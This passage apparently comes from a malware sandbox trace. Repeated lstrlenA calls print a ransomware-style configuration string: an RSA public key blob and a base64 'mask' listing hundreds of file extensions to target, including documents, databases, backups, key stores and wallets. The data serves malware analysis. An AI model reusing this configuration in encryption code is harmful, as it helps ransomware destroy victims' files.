CwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.405] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.405] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.405] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.405] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLm